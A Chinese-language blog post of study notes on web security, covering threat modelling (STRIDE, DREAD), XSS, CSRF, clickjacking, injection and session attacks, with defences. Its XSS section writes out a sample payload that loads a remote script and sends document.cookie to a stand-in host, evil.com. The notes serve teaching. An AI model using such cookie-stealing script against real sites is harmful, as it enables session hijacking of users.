《白帽子讲Web安全》知识点概括

基础

安全三要素CIA

机密性Confidentiality 保护数据不能泄露

完整性Integrity 保护数据内容是完整的,没有被篡改的

可用性Avaliability 保证资源'随需可得'

实施安全评估

评估过程 资产等级划分-》威胁分析-》风险分析-》确认解决方案

威胁分析:

把可能照成危害的来源称为威胁,威胁分析就是把所有威胁找出来,比较全面的方法就是使用威胁建模

STRIDE模型

  • 1.伪装身份(Spoofing identity),对应安全认证(鉴权)如中间人攻击,特洛伊木马
  • 2.篡改数据(Tampering with data),对应数据完整性如数据包注入攻击,篡改或损坏文件数据
  • 3.抵赖(Repudiation),对应不可抵赖性不被信任的用户在非法操作时无法被跟踪
  • 4.信息泄露(Information disclosure),对应机密性使信息暴露在不应该看到它的人面前
  • 5.拒绝服务(Denial of service),对应可用性指使系统暂时不可用或无法使用
  • 6.提升权限(Elevation of privilege),对应授权
    使没有特权的用户获得了特权访问权,从而有足够的权限来损害和破坏整个系统

风险分析

风险=可能性*损失大小

科学衡量风险 DREAD模型

  • 潜在损失(Damage Potential) 如果缺陷被利用,损失有多大
  • 重现性(Reproducibility) 重复产生攻击的难度有多大
  • 可利用性(Exploitability) 发起攻击的难度有多大
  • 受影响的用户(Affected users) 用粗略的百分数表示,多少用户受到影响
  • 可发现性(Discoverability) 缺陷容易发现吗

安全方案技巧

  1. 尽量使用白名单
  2. 最小权限原则
  3. 纵深防御原则
  4. 数据与代码分离原则
  5. 不可预测性原则

浏览器安全

同源策略

沙箱

恶意地址拦截

跨站脚本攻击XSS

通常指黑客通过HTML注入篡改网页,插入恶意脚本,从而在用户浏览网页时,控制用户浏览器

类型1 反射性XSS 非持久性XSS

只是简单把用户输入数据反射给浏览器

类型2 存储型XSS

把用户输入的数据存储在服务器端,比如把带有恶意脚本的博客保存在服务器给用户浏览

类型3 DOM Based XSS

通过修改页面DOM节点形成的XSS

XSS Payload

XSS攻击成功后,攻击者对用户浏览的页面植入的恶意脚本被称作XSS Payload

攻击者先通过链接加载一个远程脚本 http://www.a.com/test.html?abc="><script src=http://eval.com/evil.js\></script>

在脚本中可以窃取Cookie

var img = document.createElement("img");

img.src="http://evil.com/log?"+escape(document.cookie);

document.body.appendChild(img);

在服务器中就会收到这个请求

XSS Payload还可以构造GET POST请求

一个XSS Demo,提供了多道XSS的攻击题目,

git:GitHub - haozi/xss-demo: 👮🏻‍♂️ XSS attack playground,there are answers in issues. XSS 攻防靶场,issues 有答案

访问地址:https://xss.haozi.me

XSS防御

1.httpONLY

禁止页面的JavaScript访问带有HttpOnly属性的Cookie

2.输入检查

格式检查 特殊字符检查

3.输出检查

安全的编码函数

4.数据与代码分离

5.正确处理富文本

跨站点请求伪造CSRF

浏览器的Cookie策略

Session Cookie 临时Cookie

本地Cookie

P3P

Get Post也可以进行CSRF攻击

构造Post请求方式 在页面中构造出一个form表单,然后使用JavaScript自动提交表单

Flash CSRF

CSRF Worm

CSRF防御

1.验证码

2.Referer Check

3.Anti CSRF Token

点击劫持 ClickJacking

防御:frame busing

X-Frame-Option

HTML5安全

服务器安全

注入攻击

1.盲注

2.Timing Attack

XML注入

代码注入

CRLF注入

文件上传漏洞

认证与会话管理

密码

多因素认证

Session与认证 SessionFixation攻击 Session保持攻击

单点登录SSO

访问控制

垂直权限管理

水平权限管理

OAuth

DDOS

应用层DDOS

相关推荐
LH_R13 小时前
OneTerm开源堡垒机实战(三):功能扩展与效率提升
运维·后端·安全
你的人类朋友1 天前
什么是API签名?
前端·后端·安全
深盾安全1 天前
ProGuard混淆在Android程序中的应用
安全
CYRUS_STUDIO1 天前
利用 Linux 信号机制(SIGTRAP)实现 Android 下的反调试
android·安全·逆向
白帽黑客沐瑶2 天前
【网络安全就业】信息安全专业的就业前景(非常详细)零基础入门到精通,收藏这篇就够了
网络·安全·web安全·计算机·程序员·编程·网络安全就业
深盾安全2 天前
符号执行技术实践-求解程序密码
安全
树码小子2 天前
Java网络编程:(socket API编程:TCP协议的 socket API -- 回显程序的服务器端程序的编写)
java·网络·tcp/ip
贾维思基2 天前
被监管警告后,我连夜给系统上了“双保险”!
安全
绿箭柠檬茶2 天前
Ubuntu 服务器配置转发网络访问
服务器·网络·ubuntu
00后程序员张2 天前
iOS App 混淆与加固对比 源码混淆与ipa文件混淆的区别、iOS代码保护与应用安全场景最佳实践
android·安全·ios·小程序·uni-app·iphone·webview